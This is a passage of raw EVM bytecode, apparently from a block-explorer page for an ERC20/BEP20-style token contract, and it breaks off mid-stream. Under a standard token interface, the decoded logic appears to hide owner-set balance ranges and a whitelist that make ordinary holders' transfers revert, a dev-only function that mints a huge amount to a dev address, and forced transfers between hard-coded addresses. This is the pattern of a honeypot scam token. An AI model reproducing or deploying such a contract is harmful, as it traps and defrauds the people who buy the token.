61063a90612582565b60405180910390fd5b600060016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006103e86003546106bb919061279b565b9050600354816106cb9190612714565b60038190555081816106dd9190612714565b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107c291906126c2565b60405180910390a35050565b7394235659cf8b805b2c658f9ea2d6d6ddbb17c8d781565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610837611256565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bb90612662565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b80546109ba906128b1565b80601f01602080910402602001604051908101604052809291908181526020018280546109e6906128b1565b8015610a335780601f10610a0857610100808354040283529160200191610a33565b820191906000526020600020905b815481529060010190602001808311610a1657829003601f168201915b5050505050905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a7e611256565b73ffffffffffffffffffffffffffffffffffffffff1614610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb90612582565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60088181548110610b2857600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610b6b610b64611256565b8484611429565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bb6611256565b73ffffffffffffffffffffffffffffffffffffffff1614610c0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0390612582565b60405180910390fd5b60005b82829050811015610cdd576008838383818110610c55577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610c6a9190611fcd565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508080610cd5906128e3565b915050610c0f565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610daa611256565b73ffffffffffffffffffffffffffffffffffffffff1614610e00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df790612582565b60405180910390fd5b6009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ea7611256565b73ffffffffffffffffffffffffffffffffffffffff1614610efd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef490612582565b60405180910390fd5b8060048190555050565b610f0f611256565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9390612662565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561100c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611003906125c2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661110a611256565b73ffffffffffffffffffffffffffffffffffffffff1614611160576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115790612582565b60405180910390fd5b611188606461117a8360035461119190919063ffffffff16565b61120c90919063ffffffff16565b60058190555050565b6000808314156111a45760009050611206565b600082846111b2919061279b565b90508284826111c1919061276a565b14611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f890612642565b60405180910390fd5b809150505b92915050565b600061124e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119ea565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c5906126a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561133e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611335906125e2565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161141c91906126c2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611499576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611490906125a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150090612682565b60405180910390fd5b6001151561151684611a4d565b1515141561156257600a8110611561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155890612622565b60405180910390fd5b5b61156a610982565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115f05750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156117b45761166181604051806060016040528060268152602001612a2160269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119869092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1e90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061174a670de0b6b3a7640000611b7c565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117a791906126c2565b60405180910390a3611981565b6117bd83611dd4565b6117c657600080fd5b61183281604051806060016040528060268152602001612a2160269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119869092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118c781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1e90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191b670de0b6b3a7640000611b7c565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161197891906126c2565b60405180910390a35b505050565b60008383111582906119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c59190612560565b60405180910390fd5b50600083856119dd91906127f5565b9050809150509392505050565b60008083118290611a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a289190612560565b60405180910390fd5b5060008385611a40919061276a565b9050809150509392505050565b600080600090505b600880549050811015611b17578273ffffffffffffffffffffffffffffffffffffffff1660088281548110611ab3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b04576001915050611b19565b8080611b0f906128e3565b915050611a55565b505b919050565b6000808284611b2d9190612714565b905083811015611b72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6990612602565b60405180910390fd5b8091505092915050565b806001600073c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611dd157806001600073c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3691906127f5565b6001600073c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160007394235659cf8b805b2c658f9ea2d6d6ddbb17c8d773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cec9190612714565b600160007394235659cf8b805b2c658f9ea2d6d6ddbb17c8d773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507394235659cf8b805b2c658f9ea2d6d6ddbb17c8d773ffffffffffffffffffffffffffffffffffffffff1673c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611dc891906126c2565b60405180910390a35b50565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480611e3e575060011515611e3a83611e88565b1515145b15611e4c5760019050611e83565b600454611e58836107e6565b10158015611e705750600554611e6d836107e6565b11155b15611e7e5760009050611e83565b600190505b919050565b600080600090505b600980549050811015611f52578273ffffffffffffffffffffffffffffffffffffffff1660098281548110611eee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611f3f576001915050611f54565b8080611f4a906128e3565b915050611e90565b505b919050565b600081359050611f68816129ca565b92915050565b60008083601f840112611f8057600080fd5b8235905067ffffffffffffffff811115611f9957600080fd5b602083019150836020820283011115611fb157600080fd5b9250929050565b600081359050611fc7816129e1565b92915050565b600060208284031215611fdf57600080fd5b6000611fed84828501611f59565b91505092915050565b6000806040838503121561200957600080fd5b600061201785828601611f59565b925050602061202885828601611f59565b9150509250929050565b60008060006060848603121561204757600080fd5b600061205586828701611f59565b935050602061206686828701611f59565b925050604061207786828701611fb8565b9150509250925092565b6000806040838503121561209457600080fd5b60006120a285828601611f59565b92505060206120b385828601611fb8565b9150509250929050565b600080602083850312156120d057600080fd5b600083013567ffffffffffffffff8111156120ea57600080fd5b6120f685828601611f6e565b92509250509250929050565b60006020828403121561211457600080fd5b600061212284828501611fb8565b91505092915050565b61213481612829565b82525050565b6121438161283b565b82525050565b6000612154826126f8565b61215e8185612703565b935061216e81856020860161287e565b612177816129b9565b840191505092915050565b600061218f602083612703565b91507f45524332303a2063616e6e6f74207065726d69742064657620616464726573736000830152602082019050919050565b60006121cf602583612703565b91507f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612235602683612703565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061229b602283612703565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612301601b83612703565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000612341602883612703565b91507f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008301527f78416d6f756e742e0000000000000000000000000000000000000000000000006020830152604082019050919050565b60006123a7602183612703565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061240d602083612703565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061244d602383612703565b91507f42455032303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124b3602483612703565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61251581612867565b82525050565b61252481612871565b82525050565b600060208201905061253f600083018461212b565b92915050565b600060208201905061255a600083018461213a565b92915050565b6000602082019050818103600083015261257a8184612149565b905092915050565b6000602082019050818103600083015261259b81612182565b9050919050565b600060208201905081810360008301526125bb816121c2565b9050919050565b600060208201905081810360008301526125db81612228565b9050919050565b600060208201905081810360008301526125fb8161228e565b9050919050565b6000602082019050818103600083015261261b816122f4565b9050919050565b6000602082019050818103600083015261263b81612334565b9050919050565b6000602082019050818103600083015261265b8161239a565b9050919050565b6000602082019050818103600083015261267b81612400565b9050919050565b6000602082019050818103600083015261269b81612440565b9050919050565b600060208201905081810360008301526126bb816124a6565b9050919050565b60006020820190506126d7600083018461250c565b92915050565b60006020820190506126f2600083018461251b565b92915050565b600081519050919050565b600082825260208201905092915050565b600061271f82612867565b915061272a83612867565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561275f5761275e61292c565b5b828201905092915050565b600061277582612867565b915061278083612867565b9250826127905761278f61295b565b5b828204905092915050565b60006127a682612867565b91506127b183612867565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127ea576127e961292c565b5b828202905092915050565b600061280082612867565b915061280b83612867565b92508282101561281e5761281d61292c565b5b828203905092915050565b600061283482612847565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561289c578082015181840152602081019050612881565b838111156128ab576000848401525b50505050565b600060028204905060018216806128c957607f821691505b602082108114156128dd576128dc61298a565b5b50919050565b60006128ee82612867565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129215761292061292c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6129d381612829565b81146129de57600080fd5b50565b6129ea81612867565b81146129f557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a26469706673582212205b9544ed24f154e21230a8c32ba64ca94d785cfc3a6a522777490ae48aa4825d64736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063bc4fc2471161007c578063bc4fc2471461032e578063dd62ed3e1461034a578063e7cd4a041461037a578063ec28438a14610396578063f2fde38b146103b2578063fe22908d146103ce57610137565b80638da5cb5b1461027657806395d89b41146102945780639ccb0744146102b2578063a5584f8c146102ce578063a9059cbb146102fe57610137565b8063313ce567116100ff578063313ce567146101f65780633744114514610214578063393e52a71461021e57806370a082311461023c578063715018a61461026c57610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101a857806330f2b191146101d8575b600080fd5b6101446103ea565b6040516101519190612560565b60405180910390f35b610174600480360381019061016f9190612081565b61047c565b6040516101819190612545565b60405180910390f35b61019261049a565b60405161019f91906126c2565b60405180910390f35b6101c260048036038101906101bd9190612032565b6104a4565b6040516101cf9190612545565b60405180910390f35b6101e061057d565b6040516101ed919061252a565b60405180910390f35b6101fe610595565b60405161020b91906126dd565b60405180910390f35b61021c6105ac565b005b6102266107ce565b604051610233919061252a565b60405180910390f35b61025660048036038101906102519190611fcd565b6107e6565b60405161026391906126c2565b60405180910390f35b61027461082f565b005b61027e610982565b60405161028b919061252a565b60405180910390f35b61029c6109ab565b6040516102a99190612560565b60405180910390f35b6102cc60048036038101906102c79190611fcd565b610a3d565b005b6102e860048036038101906102e39190612102565b610b18565b6040516102f5919061252a565b60405180910390f35b61031860048036038101906103139190612081565b610b57565b6040516103259190612545565b60405180910390f35b610348600480360381019061034391906120bd565b610b75565b005b610364600480360381019061035f9190611ff6565b610ce2565b60405161037191906126c2565b60405180910390f35b610394600480360381019061038f9190611fcd565b610d69565b005b6103b060048036038101906103ab9190612102565b610e66565b005b6103cc60048036038101906103c79190611fcd565b610f07565b005b6103e860048036038101906103e39190612102565b6110c9565b005b6060600a80546103f9906128b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610425906128b1565b80156104725780601f1061044757610100808354040283529160200191610472565b820191906000526020600020905b81548152906001019060200180831161045557829003601f168201915b5050505050905090565b6000610490610489611256565b848461125e565b6001905092915050565b6000600354905090565b60006104b1848484611429565b610572846104bd611256565b61056d856040518060600160405280602881526020016129f960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610523611256565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119869092919063ffffffff16565b61125e565b600190509392505050565b73c7d0445ac2947760b3dd388b8586adf079972bf381565b6000600c60009054906101000a900460ff16905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105ed611256565b73ffffffffffffffffffffffffffffffffffffffff1614610643576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063a90612582565b60405180910390fd5b600060016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006103e86003546106bb919061279b565b9050600354816106cb9190612714565b60038190555081816106dd9190612714565b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107c291906126c2565b60405180910390a35050565b7394235659cf8b805b2c658f9ea2d6d6ddbb17c8d781565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610837611256565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bb90612662565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b80546109ba906128b1565b80601f01602080910402602001604051908101604052809291908181526020018280546109e6906128b1565b8015610a335780601f10610a0857610100808354040283529160200191610a33565b820191906000526020600020905b815481529060010190602001808311610a1657829003601f168201915b5050505050905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a7e611256565b73ffffffffffffffffffffffffffffffffffffffff1614610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb90612582565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60088181548110610b2857600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610b6b610b64611256565b8484611429565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bb6611256565b73ffffffffffffffffffffffffffffffffffffffff1614610c0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0390612582565b60405180910390fd5b60005b82829050811015610cdd576008838383818110610c55577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610c6a9190611fcd565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508080610cd5906128e3565b915050610c0f565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610daa611256565b73ffffffffffffffffffffffffffffffffffffffff1614610e00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df790612582565b60405180910390fd5b6009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ea7611256565b73ffffffffffffffffffffffffffffffffffffffff1614610efd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef490612582565b60405180910390fd5b8060048190555050565b610f0f611256565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9390612662565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561100c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611003906125c2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661110a611256565b73ffffffffffffffffffffffffffffffffffffffff1614611160576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115790612582565b60405180910390fd5b611188606461117a8360035461119190919063ffffffff16565b61120c90919063ffffffff16565b60058190555050565b6000808314156111a45760009050611206565b600082846111b2919061279b565b90508284826111c1919061276a565b14611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f890612642565b60405180910390fd5b809150505b92915050565b600061124e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119ea565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c5906126a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561133e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611335906125e2565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161141c91906126c2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611499576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611490906125a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150090612682565b60405180910390fd5b6001151561151684611a4d565b1515141561156257600a8110611561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155890612622565b60405180910390fd5b5b61156a610982565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115f05750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156117b45761166181604051806060016040528060268152602001612a2160269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119869092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1e90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061174a670de0b6b3a7640000611b7c565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117a791906126c2565b60405180910390a3611981565b6117bd83611dd4565b6117c657600080fd5b61183281604051806060016040528060268152602001612a2160269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119869092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118c781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1e90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191b670de0b6b3a7640000611b7c565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161197891906126c2565b60405180910390a35b505050565b60008383111582906119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c59190612560565b60405180910390fd5b50600083856119dd91906127f5565b9050809150509392505050565b60008083118290611a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a289190612560565b60405180910390fd5b5060008385611a40919061276a565b9050809150509392505050565b600080600090505b600880549050811015611b17578273ffffffffffffffffffffffffffffffffffffffff1660088281548110611ab3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b04576001915050611b19565b8080611b0f906128e3565b915050611a55565b505b919050565b6000808284611b2d9190612714565b905083811015611b72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6990612602565b60405180910390fd5b8091505092915050565b806001600073c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611dd157806001600073c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3691906127f5565b6001600073c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001